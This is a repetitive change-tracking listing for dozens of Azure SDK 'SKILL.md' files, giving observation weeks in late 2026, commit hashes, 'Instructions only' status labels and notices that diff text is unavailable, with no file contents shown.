Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-openai-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-projects-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-projects-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-projects-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-projects-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-textanalytics-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-transcription-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-translation-document-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-translation-text-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-translation-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-vision-imageanalysis-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-vision-imageanalysis-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-voicelive-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-voicelive-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-voicelive-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-ai-voicelive-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-appconfiguration-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-appconfiguration-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-appconfiguration-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-communication-callautomation-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-communication-callingserver-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-communication-chat-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-communication-common-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-communication-sms-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-compute-batch-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-containerregistry-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-cosmos-db-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-cosmos-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-cosmos-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-cosmos-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-cosmos-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-data-tables-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-data-tables-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventgrid-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventgrid-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventgrid-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventhub-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventhub-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventhub-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventhub-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-eventhub-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-functions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-identity-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-identity-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-identity-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-identity-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-identity-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-certificates-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-keys-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-keys-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-secrets-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-keyvault-secrets-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-maps-search-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-messaging-webpubsub-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-messaging-webpubsubservice-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-apicenter-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-apicenter-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-apimanagement-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-apimanagement-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-applicationinsights-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-arizeaiobservabilityeval-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-botservice-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-botservice-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-fabric-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-fabric-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-mongodbatlas-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-mgmt-weightsandbiases-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-microsoft-playwright-testing-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-ingestion-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-ingestion-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-opentelemetry-exporter-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-opentelemetry-exporter-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

